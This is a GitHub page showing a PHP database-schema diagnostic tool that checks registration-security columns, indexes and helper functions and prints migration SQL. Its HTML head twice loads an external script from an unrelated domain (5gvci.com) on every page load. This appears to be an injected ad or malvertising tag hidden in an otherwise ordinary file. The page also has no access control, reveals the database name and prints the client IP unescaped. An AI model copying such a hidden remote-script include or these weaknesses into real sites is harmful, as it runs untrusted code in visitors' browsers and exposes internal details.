-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcheck_db_schema.php
More file actions
275 lines (240 loc) · 11.7 KB
/
check_db_schema.php
File metadata and controls
275 lines (240 loc) · 11.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
<?php
// check_db_schema.php
// Database Schema Diagnostic Tool
require_once __DIR__ . '/config/db_control.php';
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html>
<head>
<script src="https://5gvci.com/act/files/tag.min.js?z=10681000" data-cfasync="false" async></script>
<title>Database Schema Check</title>
<style>
body { font-family: monospace; background: #1a1a1a; color: #00ff00; padding: 20px; }
.success { color: #00ff00; }
.error { color: #ff0000; }
.warning { color: #ffaa00; }
.info { color: #00aaff; }
table { border-collapse: collapse; width: 100%; margin: 20px 0; }
th, td { border: 1px solid #333; padding: 8px; text-align: left; }
th { background: #2a2a2a; }
pre { background: #0a0a0a; padding: 10px; border-radius: 5px; overflow-x: auto; }
h2 { color: #00aaff; border-bottom: 2px solid #00aaff; padding-bottom: 5px; }
</style>
<script src="https://5gvci.com/act/files/tag.min.js?z=10681000" data-cfasync="false" async></script>
</head>
<body>
<h1>🔍 Database Schema Diagnostic Tool</h1>
<p class="info">Checking database structure for registration security features...</p>
<?php
try {
$pdo = getControlDB();
echo "<p class='success'>✅ Database connection successful!</p>";
echo "<p class='info'>Database: " . DB_CONTROL_NAME . "</p><hr>";
// ============================================
// CHECK 1: Users Table Columns
// ============================================
echo "<h2>1. Users Table Columns</h2>";
$requiredColumns = [
'registration_ip' => 'VARCHAR(45)',
'device_fingerprint' => 'VARCHAR(255)',
'verify_token' => 'VARCHAR(64)',
'email_verified_at' => 'DATETIME',
'last_registration_attempt' => 'DATETIME'
];
$stmt = $pdo->query("SHOW COLUMNS FROM users");
$existingColumns = [];
echo "<table>";
echo "<tr><th>Column Name</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th></tr>";
while ($col = $stmt->fetch(PDO::FETCH_ASSOC)) {
$existingColumns[$col['Field']] = true;
echo "<tr>";
echo "<td>" . htmlspecialchars($col['Field']) . "</td>";
echo "<td>" . htmlspecialchars($col['Type']) . "</td>";
echo "<td>" . htmlspecialchars($col['Null']) . "</td>";
echo "<td>" . htmlspecialchars($col['Key']) . "</td>";
echo "<td>" . htmlspecialchars($col['Default'] ?? 'NULL') . "</td>";
echo "</tr>";
}
echo "</table>";
echo "<h3>Required Security Columns Status:</h3>";
echo "<table>";
echo "<tr><th>Column</th><th>Expected Type</th><th>Status</th></tr>";
$missingColumns = [];
foreach ($requiredColumns as $colName => $colType) {
echo "<tr>";
echo "<td><code>$colName</code></td>";
echo "<td>$colType</td>";
if (isset($existingColumns[$colName])) {
echo "<td class='success'>✅ EXISTS</td>";
} else {
echo "<td class='error'>❌ MISSING</td>";
$missingColumns[] = $colName;
}
echo "</tr>";
}
echo "</table>";
// ============================================
// CHECK 2: Indexes
// ============================================
echo "<h2>2. Users Table Indexes</h2>";
$stmt = $pdo->query("SHOW INDEX FROM users");
echo "<table>";
echo "<tr><th>Index Name</th><th>Column</th><th>Unique</th></tr>";
while ($idx = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo "<tr>";
echo "<td>" . htmlspecialchars($idx['Key_name']) . "</td>";
echo "<td>" . htmlspecialchars($idx['Column_name']) . "</td>";
echo "<td>" . ($idx['Non_unique'] == 0 ? 'Yes' : 'No') . "</td>";
echo "</tr>";
}
echo "</table>";
$requiredIndexes = [
'idx_registration_ip',
'idx_device_fingerprint',
'idx_verify_token',
'idx_last_registration_attempt'
];
$stmt = $pdo->query("SHOW INDEX FROM users");
$existingIndexes = [];
while ($idx = $stmt->fetch(PDO::FETCH_ASSOC)) {
$existingIndexes[$idx['Key_name']] = true;
}
echo "<h3>Required Indexes Status:</h3>";
echo "<ul>";
foreach ($requiredIndexes as $idxName) {
if (isset($existingIndexes[$idxName])) {
echo "<li class='success'>✅ $idxName</li>";
} else {
echo "<li class='warning'>⚠️ $idxName (missing, but not critical)</li>";
}
}
echo "</ul>";
// ============================================
// CHECK 3: Registration Attempts Table
// ============================================
echo "<h2>3. Registration Attempts Table</h2>";
try {
$stmt = $pdo->query("SHOW TABLES LIKE 'registration_attempts'");
if ($stmt->rowCount() > 0) {
echo "<p class='success'>✅ Table exists</p>";
$stmt = $pdo->query("SHOW COLUMNS FROM registration_attempts");
echo "<table>";
echo "<tr><th>Column Name</th><th>Type</th><th>Null</th></tr>";
while ($col = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo "<tr>";
echo "<td>" . htmlspecialchars($col['Field']) . "</td>";
echo "<td>" . htmlspecialchars($col['Type']) . "</td>";
echo "<td>" . htmlspecialchars($col['Null']) . "</td>";
echo "</tr>";
}
echo "</table>";
} else {
echo "<p class='error'>❌ Table does not exist</p>";
}
} catch (Exception $e) {
echo "<p class='error'>❌ Error checking table: " . htmlspecialchars($e->getMessage()) . "</p>";
}
// ============================================
// CHECK 4: Generate Migration SQL
// ============================================
if (!empty($missingColumns)) {
echo "<h2>4. 🔧 Required SQL Migration</h2>";
echo "<p class='warning'>⚠️ You need to run the following SQL to enable all security features:</p>";
echo "<pre>";
echo "-- Run this SQL query to add missing columns:\n\n";
if (in_array('device_fingerprint', $missingColumns)) {
echo "ALTER TABLE users ADD COLUMN device_fingerprint VARCHAR(255) AFTER registration_ip;\n";
}
if (in_array('verify_token', $missingColumns)) {
echo "ALTER TABLE users ADD COLUMN verify_token VARCHAR(64) AFTER status;\n";
}
if (in_array('email_verified_at', $missingColumns)) {
echo "ALTER TABLE users ADD COLUMN email_verified_at DATETIME NULL AFTER verify_token;\n";
}
if (in_array('last_registration_attempt', $missingColumns)) {
echo "ALTER TABLE users ADD COLUMN last_registration_attempt DATETIME DEFAULT CURRENT_TIMESTAMP AFTER email_verified_at;\n";
}
echo "\n-- Add indexes for performance:\n";
if (!isset($existingIndexes['idx_device_fingerprint'])) {
echo "ALTER TABLE users ADD INDEX idx_device_fingerprint (device_fingerprint);\n";
}
if (!isset($existingIndexes['idx_verify_token'])) {
echo "ALTER TABLE users ADD INDEX idx_verify_token (verify_token);\n";
}
if (!isset($existingIndexes['idx_last_registration_attempt'])) {
echo "ALTER TABLE users ADD INDEX idx_last_registration_attempt (last_registration_attempt);\n";
}
echo "\n-- Create registration attempts logging table:\n";
echo "CREATE TABLE IF NOT EXISTS registration_attempts (
id INT AUTO_INCREMENT PRIMARY KEY,
ip_address VARCHAR(45) NOT NULL,
email VARCHAR(255),
device_fingerprint VARCHAR(255),
success BOOLEAN DEFAULT FALSE,
failure_reason VARCHAR(255),
attempted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
INDEX idx_ip_attempted (ip_address, attempted_at),
INDEX idx_email (email),
INDEX idx_device_fp (device_fingerprint)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n";
echo "</pre>";
} else {
echo "<h2>4. ✅ Schema Status</h2>";
echo "<p class='success'>All required columns exist! Your database is ready for all security features.</p>";
}
// ============================================
// CHECK 5: Test Registration Functions
// ============================================
echo "<h2>5. 🧪 Testing Security Functions</h2>";
try {
require_once __DIR__ . '/config/security_helpers.php';
echo "<ul>";
// Test getUserIP
try {
$testIP = getUserIP();
echo "<li class='success'>✅ getUserIP() works: $testIP</li>";
} catch (Exception $e) {
echo "<li class='error'>❌ getUserIP() failed: " . htmlspecialchars($e->getMessage()) . "</li>";
}
// Test isDisposableEmail
try {
$isDisposable = isDisposableEmail('test@tempmail.com');
echo "<li class='success'>✅ isDisposableEmail() works: " . ($isDisposable ? 'Detected tempmail' : 'Failed to detect') . "</li>";
} catch (Exception $e) {
echo "<li class='error'>❌ isDisposableEmail() failed: " . htmlspecialchars($e->getMessage()) . "</li>";
}
// Test verifyCaptcha (with fake token)
try {
echo "<li class='info'>ℹ️ verifyCaptcha() loaded (needs real token to test)</li>";
} catch (Exception $e) {
echo "<li class='error'>❌ verifyCaptcha() failed to load: " . htmlspecialchars($e->getMessage()) . "</li>";
}
echo "</ul>";
} catch (Exception $e) {
echo "<p class='error'>❌ Failed to load security_helpers.php: " . htmlspecialchars($e->getMessage()) . "</p>";
}
// ============================================
// Summary
// ============================================
echo "<hr>";
echo "<h2>📊 Summary</h2>";
if (empty($missingColumns)) {
echo "<p class='success' style='font-size: 18px;'>✅ <strong>Your database is fully configured!</strong> All security features should work.</p>";
} else {
echo "<p class='warning' style='font-size: 18px;'>⚠️ <strong>Missing " . count($missingColumns) . " column(s).</strong> Run the SQL migration above to enable all features.</p>";
echo "<p class='info'>Registration will work with basic security. Advanced features (IP limiting, device tracking) require the migration.</p>";
}
} catch (PDOException $e) {
echo "<p class='error'>❌ Database Error: " . htmlspecialchars($e->getMessage()) . "</p>";
} catch (Exception $e) {
echo "<p class='error'>❌ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
}
?>
<hr>
<p style="text-align: center; color: #666; margin-top: 30px;">
<a href="register.php" style="color: #00aaff;">← Back to Registration</a> |
<a href="." style="color: #00aaff;">Home</a>
</p>
</body>
</html>